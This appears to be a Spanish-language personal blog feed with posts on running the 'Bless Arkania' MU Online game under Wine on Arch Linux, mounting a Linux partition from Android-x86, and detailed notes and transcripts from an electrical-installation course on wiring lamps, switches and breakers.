<p>Descargá el juego y create la cuenta acá: <a href="https://mu.bless.gs/es/index.php?page=files">https://mu.bless.gs/es/index.php?page=files</a></p>
<p>Habilitá el repositorio <code>multilib</code> libs de ArchLinux e instalá <code>wine</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S wine mesa lib32-mesa
</span></span><span style="display:flex;"><span>wine Bless Arkania Episode <span style="color:#ae81ff">5</span> <span style="color:#f92672">(</span>27.03.2025<span style="color:#f92672">)</span>.exe
</span></span><span style="display:flex;"><span>wine .wine/drive_c/Games/Launcher.exe
</span></span></code></pre></div><p>El <code>Launcher.exe</code> te putea diciendo que falló en actualizarse pero si ejecutás el juego desde:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd .wine/drive_c/Games/Bless Arkania Episode <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>wine play.exe
</span></span></code></pre></div><p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiruxcNTDcMFPopQHGirP1Zsxmo_akahlS0VBQBOnZ3n69FqY2nyjf80FXWcCZItYQwP0OoSH7QZqZJv6CiUZGqQISoTQiQPEvLRL0IRFx5mmw6ba4KZ8Y7Pj8mpx-y4SZH4ZE4_3I7KQ2aq7LiD71nnuuUF9m8kPTfTbQdBbIoOrkzr5LgT32nfpMKoyNY/s1366/20250517_20h25m56s_grim.png" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRrrmHMU5rv28IVJaLiFeyQW-6nu0weuUN8SLcns3fwavtm1L3dz_b9oX0Qf0jba60pkx5FDTUK1eXeJA6-u7GPPpO2IJtNEi2TCeLyOJ_rCCQVBNQcyExYV60k-6oIuALN4SYYEKGXDqounzXecGMLblhEbw84xjODKWPjK3G3hzfpsyldcrZWjMaRuuJ/s1366/20250517_20h34m37s_grim.png" alt=""></p>
<p>Funciona bajo wayland/sway.</p>
-
Electricidad / Clase 25. Clase práctica. Armamos tablero: 4) Dos lámparas y 2 interruptores en distintas cajas. 5) Una lámpara con llave combinación. Salteado porque es clase práctica.
https://imlauera.github.io/electricidad25/
Thu, 15 May 2025 02:22:59 -0300
https://imlauera.github.io/electricidad25/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1oFkLIlf3v25">https://vocaroo.com/1oFkLIlf3v25</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-123">https://archive.org/details/record-123</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/tqZWy7K2TGA">https://www.youtube.com/embed/tqZWy7K2TGA</a></p>
<h6 id="pasado-por-whatsapp-sistema-de-conexión-eléctrica-monofásico">Pasado por WhatsApp: Sistema de conexión eléctrica monofásico</h6>
<p><a href="https://www.facebook.com/reel/996396798946461">https://www.facebook.com/reel/996396798946461</a> <br>
<a href="https://rumble.com/v6tjh69-sistema-de-conexin-elctrica-monofsico.html">https://rumble.com/v6tjh69-sistema-de-conexin-elctrica-monofsico.html</a> (Backup)</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmg0ei79XkRqxElz42tkPakVHa2v7z9-mEww87O3dos_izFW0E5ibwXxNtCGk1fC50v44S2hadSp0NkWVBJIE8ch-QOz0kPHDDAxzAvQS1X5650kgaSyvvJXEINdO_XKEGMmG2pAPfo4MLZMwr36dEGcZsnnTAFZeL2uxVZ7jEHDaZQlaY76XepCcPQN4/s4160/IMG_20250514_202616901.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVKyXlWESz__Hl7K9QlFNnA_1ySh1yuFLcd4iZED66QfB3l6NeUC9V4LqVCEfikjTnGQWKX-zeJAuUR5vnocF-tOQhWwp8Xq2o07iMmR_AqLy0lirKUDXKW5qPVndWYGHi7oGxnNEkkznoMKnqvlzczBXeMDeab9K-2Gent8-2ANuoOoLu34sm0qD8vos/s4160/IMG-20250514-WA0000.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5czvg-jdLJyS_nk3D8FpD_O2T_docwWG_JMOU0ppLLq1hRZgVBA79suvteIfYyjZJqokYdmP5ZvxIMx3huR-pQmVG6_3z2zjXvv2SPCSrXtjh59bQAH3_sODJKC6SWBumkpIkvzNRV0l2b_Um_6bJBWuu-vyxcwG14zM7BKwiNXgowyJLeKdeGXNtqps/s4160/IMG_20250511_181915788.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcbt_KtQ9AhNy2mQwFBQoWRF8_ysx-bkA06W6dH0lpMufPb1AzRm5wwT0nap9IfbvrzBcR0pwtVdaMPFk3lXAJj1hXlNFMt20saZ1PelmdaIfC_EKXxzDiMbpLqP8_wACyuZx2TlIIP3J5PgEEDMan-CZMecI1l0hgNI3dOCb9F62GxsSb6ix9A7Gox_Q/s4160/IMG_20250511_181931404.jpg" alt=""></p>
<p>Los tornillos se ajustan a la derecha XD</p>
-
Electricidad / Clase 24: Clase práctica. Armamos tablero: 2)Dos lámparas y 1 interruptor. 3)Dos lámparas y 2 interruptores en la misma caja. A Leiva un hombre le puso la vacuna cuando estaba lleno de chicas. La fase siempre es recomendable que esté en el medio (Hora 01:28) El circuito que hice no funcionó porque luego de probar el primer ejercicio desarmé el portalámparas cuando saqué el foco y ya no hacía contacto. El profesor en un comienzo pensó que era la llave de punto y me la hizo cambiar pero en realidad era el portalámparas que estaba flojo. Espeche se operó de las cataratas, al principio estaba contento a 1 metro veía bien todas las letras, ahora necesita anteojos. Estaba al reves pero lo importante es que de un lado vos podes manejar 2 bocas diferentes, prendes y apagas. NO te sulfures. Cuando vos tenes un disyuntor vos podes usar el boton de prueba para cortar toda la energía y después ya después bajar los demás. Conversación final con el belado Benitez. No terminé todo porque es una clase práctica.
https://imlauera.github.io/electricidad24/
Tue, 13 May 2025 23:04:35 -0300
https://imlauera.github.io/electricidad24/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1dlEbWtj6jkS">https://vocaroo.com/1dlEbWtj6jkS</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-120">https://archive.org/details/record-120</a> <br>
<a href="https://archive.org/download/record-120/Esquema_electrico_basicos.pdf">https://archive.org/download/record-120/Esquema_electrico_basicos.pdf</a> <br>
<a href="https://archive.org/download/record-120/Record-120.m4a">https://archive.org/download/record-120/Record-120.m4a</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/7A9KfRLb5Gg">https://www.youtube.com/embed/7A9KfRLb5Gg</a></p>
<p>Esto según el profesor Espeche es lo que no se debe hacer: un puente. <strong>Mejor pelá el cable de la fase arriba y luego hacé una unión T para darle la fase al interruptor de abajo</strong>.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0nLeuiPADEngsFo_-n_822_WDapOqKpi_C6OXRXKEeBSCCg5FYmZB-DLd9GYUS6BeTWAkNn_EmYyt7tiWMngHky7p14fk7TODVBODf2F0mTfMrp5kTyuTMyMdeu5N6jsujxgLCODyoNryBHDt2jMkHsDPvnaryQcapjZflyiX3RMMTIsMjpRbnGmkoUE/s4160/IMG_20250513_192252513.jpg" alt=""></p>
<p>Hice un tablero con este esquema de montaje:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAF7zHr0iss704dcyCWPCubYKJniuzXTb18HnsJL8jb5h7EPRBpv_GcLyN0GdZOkAq3r2noJYvt0INgicZKXUAF-cBDz_LRkN18pbTKD4z_XAkyB8fQ3VkEcE-0jFH2r8LAPacBR6CmB3dgrSxUblbbE77ZURWQEcTMSkFacIGeq3IWlyNW7OiKShTKLs/s4160/IMG_20250511_181847728.jpg" alt=""></p>
<p>Y este:
Aclaración: Todos los ejercicios los venía haciendo con llave combinación pero este ejercicio cuando lo llevé a probar no encendía la luz, así que el profesor me dijo (erróneamente) que cambie la llave combinación porque pensaba que ese era el problema. Yo la cambié por una llave de 1 punto. Al final el problema terminó siendo que el portalámparas no hacía contacto porque cuando puse el foco lo desarmé un poco. Así que cambié toda la tecla de balde y mañana tendré que reemplazar esa llave de 1 punto por la llave combinación otra vez porque el ejercicio siguiente usa llave combinación.
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijTte7dBiI6_Z6PEjZ6tK35Vex8o1_OpirgLDwvE3eWR_-gd4dnDD0UNnhpTRm0yALcESySaT0uROOpzmv6k5W_ciNiiy72ZFCaLYoRol3PPEFk35KWsiG2Qvl5gXw-XOPqKD5V7Z2yQFhvm_d22ZJDP_F7F-zDYI_B67zfuYKk5tLkS45V_YwEm3QB8g/s4160/IMG_20250511_181833612.jpg" alt=""></p>
-
Electricidad / Clase 23: Clase Práctica. Armamos tablero con 1 lámpara y 1 interruptor. Vacunación, control oftalmológico, hipertensión(Alumnos de la UCAMI). Están esas 3 opciones: la vacuna, control arterial, y oftalmológico. Es un control nada más, eso significa que vamos a hacer un diagnóstico. Este no es un diagnóstico pero ya hay un alarma de que hay algo que tiene, entonces tiene que hacerse por 5 días los controles en un caps o con su médico para ver su tratamiento, el control oftalmológico también pasa lo mismo nos pasaba que había gente que no veía nada, le mostrábamos la letra más grande y no veía nada, y no le vamos a decir tenes un problema tal, andá a tu médico te deriva al oftalmólogo y que él vea bien por lo menos ya es una alarma. Vacuna antigripal, doble adulto esa es antitetánica, ahí después también tiene todo el calendario. Dengue no, tiene otro procedimiento más complejo. Pasen de a 3 o 4. La tierra puede ir suelta (tiene que llegar a las cajas). La llave de punto va en el bastidor a presión. Por bastidor: cada marca tiene su llave de punto diferente Tiene 3 ranuras cada ranura es para 1 solo módulo. Hay marcas que ya tienen esto dividen en 2 entonces en vez de tener 3 módulos llave de punto puedo tener hasta 6 módulos. Desde el hombro hasta el fin del brazo es 1 metro (pero a veces podes tener el brazo más corto) Como comprobar si funciona la llave de punto (y como verificar que parte del botón es encendido): Profesor: A mi no me gusta el Tic-Tac, si necesito probar tengo acá el tester, pruebo con el tester a ver si me da continuidad o no pero a mi ese Tic-Tac no me interesa porque se rompe el elemento. A partir de ahora el que tiene ganas de probar el interruptor viene acá y prueba no quiero ese Tic-Tac no me sirve. Ayudante: Ahí no te va a marcar continuidad porque vos para cerrar tu circuito tenes que poner en tu portalámparas un foco (o podes poner un destornillador y tocar la base). Como comprobar si funciona: Ahí vos probás en tu interruptor si sirve o no, el interruptor tiene 2 borners entonces poné ahí el tester y fijate cierra o abre, más que eso no. Eso Tic-Tac eso no sirve. Ya estamos con gente grande y se rompe. Hay que probar con el tester. Siempre hay que aislar empalme la cinta en forma diagonal. El profesor evalúa a medida que vas haciendo la práctica, y pone nota de concepto. Para probar la continuidad de todo el circuito tenes que poner los focos sino no cierra el circuito (los focos incandescentes deben estar funcionando sino no suena el pitido de continuidad) 1ero era el buscapolo(individualiza los polos para buscar fase) que tocamos en los borners de la termomagnética. Después la lámpara de prueba, después el probador de tensión, y después con el tester probamos que no haya continuidad. Cuando usas el tester tenes que mirar donde está la flecha para medir tensión poner ~ y poner 750. Siempre hay que poner en la mayor escala primero y después vas bajando. Consejo para usar el tester: siempre poner en la escala máxima y luego ir bajando. Profesor: Hubo solo 1 error acá: cuándo yo estoy en el tablero, lo 1ero que él hizo fue levantar la térmica, la térmica de circuito levanto por último, porque hago la secuencia levanto la térmica levanto el disyuntor y después levanto la térmica entonces yo sé que acá está mi energía y acá me llega energía entonces si hay un cortocircuito se que va a saltar, sino cuando yo prenda acá y esté en cortocircuito me va a saltar acá ya entonces lo ideal acá es que el último la térmica del circuito. Orden: 1ero tengo que subir el interruptor general de entrada. Después voy al disyuntor y ahí levanto el de mi circuito. Al desconectar hacerlo al revés. Al profesor le dolía el brazo de la vacuna su abuela ponía inyecciones le daba golpes para que no sientas cuando te ponía la vacuna. Al usar el buscapolo: tenes que poner el dedo porque tu dedo es el neutro. Con el buscapolo vos sabes cuál es tu fase pero el otro no sabes si es neutro o no. Yo: Para medir la tensión tenes que poner el tester en la V que tiene la viborita (~). En el tester la viborita es alterna. Sebastián Melgarejo un punto menos. Adrián Torres: Antes de desconectar hay que apretar el botón del disyuntor o bajar la térmica. Una empresa para hacer la revisión de un tablero y acometida cobró 859 mil pesos. Profesor: Solo por mirar, el certificado dice revisión. Fotocopia de agrupación habla sobre los colores de los cables: Todos los colores: rojo, marrón y negro son fase y el azul neutro. Profesor: Agarrá tu portalámparas(busca el neutro) ahí probale ahí tu bornera ahí, siempre probale con tu bornera. A Seba no le funcionó el tablero: Si el circuito está bien hecho y no funciona puede ser problema del portalámparas o el interruptor (llave de 1 punto). Importantísimo: El circuito de Seba no funcionaba por un interruptor fallado entonces el profesor puso la lámpara de prueba yo tengo un elemento que es esto y tiene punta como este tiene una resistencia interna si tiene energía acá prende el foco no va a prender el foco sino que acá va a hacer continuidad y va a tener que prender ahí, cerró el circuito. Primero tiene que pasar los cables porque esto es cañería estás haciendo un simulacro. Todas las cajas tienen que tener puesta a tierra. Hay destornilladores con puntas imantadas. Profesor: Esto te dije que cortes siempre, hasta acá acá tenes que cortar, estos pelos son característicos para cortocircuito, si queres te hago cortocircuito, siempre tenes que cortar ahí para que no tenga cortocircuito. (Los pelitos sueltos de la llave de punto tornillo). Sebastián Melgarejo: Mi primito quemó mi tester probando continua a 220. Me alegré que estaba vivo. Fundió el fusible. Para comprobar si el circuito tiene continuidad se hace sin energía.
Como comprobar que tu llave de 1 punto no sirve. IMPORTANTE: DAME EL PORTALÁMPARA ACÁ. FIJATE QUE YO ESTOY PROBANDO CONTINUIDAD. ¿POR QUÉ ERA ESTO? Sebastián Melgarejo: Porque falla el interruptor? Profesor: No. Sebastián Melgarejo: Ah porque cierra el circuito. Antonio Cardozo: Está en serie Profesor: École, muy bien. Tu problema principal acá es tu llave de punto. Muy bien, está en serie, la tensión es la misma pero como está en serie baja la luminosidad. Muy bien anotamos 1 punto más.
https://imlauera.github.io/electricidad23/
Tue, 13 May 2025 05:21:44 -0300
https://imlauera.github.io/electricidad23/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1kU19ki9zqAq">https://vocaroo.com/1kU19ki9zqAq</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-116">https://archive.org/details/record-116</a> <br>
<a href="https://ia801706.us.archive.org/27/items/record-116/Record-116.m4a">https://ia801706.us.archive.org/27/items/record-116/Record-116.m4a</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/WM68NVAzhX4">https://www.youtube.com/embed/WM68NVAzhX4</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS5G2yZj1nnpafTdYAOA3ECcRbDrAoa7nVMtA6Yv43_7bNRsAI8NQRw0nBFYHnRgqI8tBFQFwAjFELbuDte-Fe7EYAOjVzZIOwtR_u-YfcRi71VMTEhxI0l9aRVg2Bqb9TGzNhyv-WXjQY_Xh8vxZwbHw7KqPbKxI818Vqb7ODa-k4k3xlTh0baloJqQ0/s4160/IMG_20250512_202932386.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcPSId_IOMci3xL-NrrPoIUeUfXyNSUs39cY5_JFscUEKRF1_k7o4np_Sz76fZhWJBIKRBlf3poy8JtGn6XBnmfy4Jlnt9Fcr6Nob9lVIdJU0WxPsoRXKeOn4i-K7JYV03_x1h21430CvV3eKXcywFJCbHpR5FJC3lx3_zAMaBJ3ymVG_5mIygnKR2XSs/s4160/IMG_20250512_202925091.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCtcm5pwmT5ibODyfMn5e1EEClA6LS_vRxWzLVaqM1rcK0H-wOgng9H1XqpUKZYkC1LpXQiTSQdk4H2QcNtCR71T7qp3qsulVO8yhuonH8tfPfEujaVPv1nCiSsbrj7qZ6VvR4K2AWUBnwVRRt-78fpzON6I8PmWFMmJz0boMfi1Tkks0XBbidK1nDmG4/s4160/IMG-20250512-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYuA4G0pjuTS7vVoX3akjQiNXp8mJROamfOD9df3_YNc22fPAaU7ZVLRT4mL7Wqdb4Hupy-qKdBbYMo7DuHek12Z2oo0oznI5F744rMqgr9sOtKP6VxEYK1gsEQNZlRe_PgWnPelNgPsEamE_qpzZQaHdU66KfQPQCDZ6Nglvi3JaV5xkKJmdeuyDj2HA/s4160/IMG-20250512-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc-iSQ4WYb1DV-H8odHlcAETJrxYk-UygGv91HkTedZnVJ9EhAEJCPZIxLYXEErXblZK5EyH4FvcT25eZp3zFJtGB-8zyJa8YAaVod_ZHpVKfUQXu5-KnJf6vAfQVfXJcOD0LXr4QxSjx_3GkVjwlo9JXp76UESo4LgTHpkSVylqaAjeUM_TRHPjKgVA0/s4160/IMG-20250512-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDGe8TQhryY5g-0RJqTCkQunD-NGpsREoKQv4fGy7d5r0LJSPVbox19bVj1fsOUKvk4CVCpnG0CWiGIFq3ORUHbf8kh9kRv30kVzG3eJKv1_UdIqnjchCsIKVWXjPNMyVIMSjJ4-BzLocpoWTckirpVUuL1jUuJHlIvkj2a2G-xF8aU5MUwijdEBOsLRs/s4160/IMG-20250512-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS3jbdIswf9PTtOCBETFHfy4d1_87sIPV28Qv-NFHiQHFsC0g2g4VPAMtWQiyfevZoi075oGfjM6LBZ49TmA5JRkYG2NwesLGv3Wr0PiGlLK_i8B5iO1b5i9DvQfuK54Y8lkN1THPLUbz5lrge-KsR67DoXrMvo-ZdJwNmmsU-KaTWRDr2Hhk52mZse0k/s4160/IMG-20250512-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyjtvRLb5ekKLLbka1zaJWL02200BFV6I3Z7fl5KWNHB-kx5r__iyPRn7jxU6NEMa9fegWfB6INaKxBPq_uYvZgsYpllVDY-i4b7Aan1vIlEX6pmflBP33dYTwWaqxAKEoEfHWlzWAbVs5xs1ML9XjhmC-PhI8xFK57mjceJGOTtIQPr-wti0x784USt8/s4160/IMG-20250512-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4-vXa14L7n4LQKolCWSdvnHqeMDZhfdqwlPsUKDm2-zjuQ9KV_o51Hpj_G_zGDN4FB3wNrrkSJsVhMOzZB7_SAc4q7OsW4XGx_fLyPdcnnfbsb9MlANpalV-CQlrw8mK_nvE2yraqIDoliMkWGqrMURltTCq9sSeqDH-WimXKu5sW3MFDQFtn3z0p-eg/s4160/IMG-20250512-WA0002.jpg" alt=""></p>
<h5 id="transcripción">Transcripción</h5>
<p>Leiva: Copiaste lo que dieron el Miércoles? <br>
Yo: Sí. <br>
Adrián Torres: Para que era (la vacunación)? Antigripal? <br>
Sebastián Melgarejo: Antigripal seguro y creo que una dosis del COVID pero si traías tu (libreta). <br>
Francisco Espeche(Profesor): Yo me olvidé traer la porquería del COVID. <br>
Leiva: La libreta? <br>
Profesor: la libreta esa <br>
Leiva: yo también me olvidé. <br>
Yo: Mandaron una foto de lo que vimos. Eran varios ejercicios y fueron explicando. Ahora tenemos que hacer una lámpara y 1 interruptor.</p>
-
Montar particion Linux desde Androidx86 (o BlissOS, PrimaOS, Phoenix OS)
https://imlauera.github.io/montar_particion_linux_desde_androidx86/
Sat, 10 May 2025 03:53:05 -0300
https://imlauera.github.io/montar_particion_linux_desde_androidx86/
<p>En Androidx86 para montar una partición de Linux tenes que usar <code>/dev/block</code> no <code>/dev</code> de la siguiente manera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/system/bin/su
</span></span><span style="display:flex;"><span>busybox mkdir /mnt/archlinux
</span></span><span style="display:flex;"><span>busybox mount /dev/block/sda1 /mnt/archlinux
</span></span><span style="display:flex;"><span>export PATH<span style="color:#f92672">=</span><span style="color:#e6db74">"/usr/bin:/bin:</span>$PATH<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>busybox chroot /dev/block/sda1 /bin/bash
</span></span></code></pre></div><p>Podés leer en <code>como recuperar el grub de debian</code> una entrada que se encuentra en mi blog para saber más.</p>
-
Electricidad / Clase 22: [IMPORTANTE: CIRCUITOS. ESQUEMAS DE MONTAJE] Teoría para el armado de trabajo práctico. Preguntas de examen.
https://imlauera.github.io/electricidad22/
Thu, 08 May 2025 00:53:51 -0300
https://imlauera.github.io/electricidad22/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/12vVDMn5Viq2">https://vocaroo.com/12vVDMn5Viq2</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-113">https://archive.org/details/record-113</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/watch?v=v5VihbvcxFw">https://www.youtube.com/watch?v=v5VihbvcxFw</a> <br>
<a href="https://www.youtube.com/embed/v5VihbvcxFw">https://www.youtube.com/embed/v5VihbvcxFw</a></p>
<h4 id="preguntas-de-examen">Preguntas de examen</h4>
<ul>
<li>Eso hay una parte teórica que yo prengunto: con que elementos cuento en una instalación, que debo tener los procedimientos los pasos que necesito, es fácil. En la práctica por ejemplo: buscapolo. Todas esas cosas que hicimos, eso va pregunta escrita.</li>
<li>Hay una pregunta que siempre hago y eso es fácil ahora que ustedes están 12 nada más: Donde se toma o donde hago la medición de la tensión. En los borners de la termomagnética bipolar por ejemplo tomo los borners ahí. Ta para que ustedes sepan donde tomo la tensión. Esos dos y tengo 1 elemento que va al común en el caso del tester y el otro va Voltaje continuo o voltaje alterna. Entonces yo tomo ahí.</li>
</ul>
<h6 id="resumen">Resumen</h6>
<ul>
<li>Hay una hoja que les dí agrupación de conductores.</li>
<li>Antes de colocar los conductores yo tengo que tener la canalización bien hecha, o sea que esté concluído el montaje de todas las cañerías y cajas.</li>
<li>Todos los conductores deberá dejarse una longitud mínima de 15cm, más o menos de 15cm una mano abierta.</li>
<li>No quiero a veces es que estén tan apretado en la cajita y pelen el cable una longitud mínima entonces hacen el empalme así no más y ponen cinta aisladora todo lo que quieran pero esa unión no es confiable</li>
<li>Cableado del ventilador ya viene una llave exclusivamente acá que va a ser para iluminación. Si yo empujo con la empuñadura no se tiene que desformar (el plástido del regulador del ventilador) y eso se desformaba y se notaba después cuando vos veías el transformador y esta parte de acá medio quemado</li>
<li>Casas container completamente armadas: Nosotros hicimos escuelas con contenedores 3 metros de largo por 6. Entonces uníamos 2 contenedores entre 1 y otro esta pared tarde o temprano se saca. Se hizo un techo bastante grande para que el agua caiga sobre el techo y no sobre el contenedor</li>
<li>Circuitos reales dentro de una vivienda circuitos básicos</li>
<li>No es comprar cualquier conductor porque si compro conductor muy fino o puedo comprar muy grueso en ese caso estoy invirtiendo dinero de más</li>
<li>Esquema Planta: nosotros vemos una instalación eléctrica a partir de que sacamos el techo de arriba esto una planta es un cuadrado acá o un rectángulo o lo que sea y <strong>ahí va los distintos tipos de canalización</strong></li>
<li>El 1er práctico va a hacer una lámpara vamos a tener y un interruptor.</li>
<li>Cañería mínima en este caso es 3/4 que sería el 19/16 todo cañería de 3/4</li>
<li>Iluminación es 1,5mm^2</li>
<li>Una vez que tenemos la planta, vamos a hacer el esquema eléctrico</li>
<li>Este es el esquema eléctrico entonces nosotros ya supimos que acá va a llegar un circuito que es una caja de paso, si o si en esa caja de paso que vamos a hacer va a llegar para que ustedes entiendan fase neutro y tierra. Esto que está acá si o si va a llegar.</li>
<li>Caja de derivación la mínima es 10x10 puede variar de 10 a 15x15 o 15x10.</li>
<li>Módulo de 1 interruptor que sería una llave de punto pero es un módulo internamente esto va así, abre o cierra el circuito nada más que eso y eso va colocado en una caja que lo vamos a hacer acá una caja 5x10, la caja es 5x10 rectangular</li>
<li>En la lámpara si o si siempre tiene que llegar el neutro</li>
<li>Ya dijimos que era 3/4 entonces arriba va a figurar 19/16 que eso es igual 3/4 de caño. Ahí va a aparecer 2 conductores de 1,5 mm^2 más tierra y ahí fíjense que viene a la llave si esto sale directamente de acá porque esto va a llegar acá y acá tengo que sacar el neutro me va a quedar acá en la lámpara y el otro 2 bueno, 1 va directamente a la llave que es la fase y el retorno de acá entonces acá va otros 2 conductores por 1,5 mm^2 más tierra y también va a ser 19/16.</li>
<li>Rectangular 5x10 solo instalación una parte del ejercicio va a estar ahí pero si esto fuera un esquema de montaje ya tengo el nivel del piso, esto es nivel 0 nivel de piso Vamos a hacer despacito con respecto al nivel del piso vamos a tomar 1,20 de acá a acá si esto fuera empotrado a la pared vamos a suponer que es empotrado a la pared, esto sería alrededor de 1,90 ¿donde encuentro esto? En el baño o en la cocina o en el lavadero empotrado en la pared no arriba.</li>
<li>Caja 10x10 la altura es 0,30 del cieloraso</li>
<li>NEUTRO donde termina el neutro en el portalámparas, si o si en el portalámparas, la fase va directamente esto no se deben olvidar siempre va a la llave al interruptor en este caso llave de 1 punto y bueno el de la otra parte directamente para hacer en la realidad el retorno va a la lámpara</li>
<li><strong>El 2do: Vamos a hacer con 1 interruptor todavía.</strong></li>
</ul>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXihLo4TobCR5vUbqEEDnpQtvDfrVOfcdaAUmCZDj2bzuR1An3w5nGMRUD8uVtTr0hWFrf4JucZ-HpSlad-741IFfmxwA6LEE5aaBQqsY99Akhd0AWAyKEVf34mYDrkhn5qbItNZr2i9kkpS-ICnzPe2BNx6G4W1D698Ax9u-k0vNOF5Qd7h9TI7NX1so/s4160/IMG_20250507_191210299.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifWu_YUb-VILvRaRpIQ01DH4vZkVNWrX9zXcNSgdyDWY9l8FAk1BHwlj0sHlIiZ5Qy4gi6bygGuThwNXmUzTNu6gptYP56tPlgsCSx9wk37QtIuOZXdduVKNcy03QJ-sKMX6pEgXMysP5VlnaKduFpSMvXv5ayI4w4JnsuoUUJUrpH5-nSfkKvdcUF3qY/s4160/IMG_20250507_191211516.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkG0UjBqhoCoHHA7csAMc6qJdWYrplyFrXiJbnmoGeD7-oYgdEsGQB_xiEc9KuLzNzEGiUUB5g8UUshyphenhyphenwIAsyn5t7WiEyvbvRKIjzc2OOlXT_JwwUgDGr9dtLjv12t__6ulXNznKTDmauLYsu7mod38lUhWE9D3n719cZmHqpVaIf8eC7sWZduinpD3CY/s4160/IMG_20250507_192258332.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi-4O5x3mXzXPpoyHj76NrxfGDDXZnS_-LyHXeilC1Wn-PW0rTlh1flL4P9oOzF9FkQBiS74fJ0WYam8E__0RMeZaM6CLMRAUg9Wwx8NpNctlgSIYegiopI-TOIJLzH-BEBLXmQxKWMeGcm_9fAHvKvhgsXGBQBw_kfMO7_EIrhjRCawulQnyrzcUJ2Hc/s4160/IMG_20250507_192301762.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjds4UUCn08M2dL0BYvmWxqmU0qpHw3y8gJY6qiBZJQv1Fvrfi0j_XP-YCelbshm5nKk2kUlRj0hQihelSjtTkMlKTGe5mVfGNwE_ihz_rIPv73sh-kIz9_34ObcVSKmlvmLDRjN7XkikGFGG-s4Uy4uHAOOZRr9suibzp4MFbZD3vjGsbJl0C1g6qFHxc/s4160/IMG_20250507_193043438.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJN8VavVoJemnFZLQLSOjR98dYzqXUtJZ8F591CdKPgY7uHokWNh8HYKdECuHfww_pzwz8PWfLV82S1-H37hoishUj8caUdy_PSePPAO3kS9OxoA70HTOSdn-tRvTVFo1kRbpHQs221tzHyi7oUStlnU2suacga_HZyk-UK4anwnpvIzFuZNUlKpA-Ykk/s4160/IMG_20250507_193527911_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4xooHm3Y2yCM02-_XaGxAOs45R9tEGjGNsrfsc8brZTEMTvXWqYVH8Hgt7qtNnI6oBW1MvHqbPjF35scpLqPltciL3Dhy0PKd02XgWLQhrvWV5PBNdbKZZQvtLJc6x0tO5nX4_8dlCY0I9JRHUkSry8Os6NHYSQyjMptIAAe9b09ETV3KWZHhrsDNnCA/s4160/IMG_20250507_193530649.jpg" alt="">
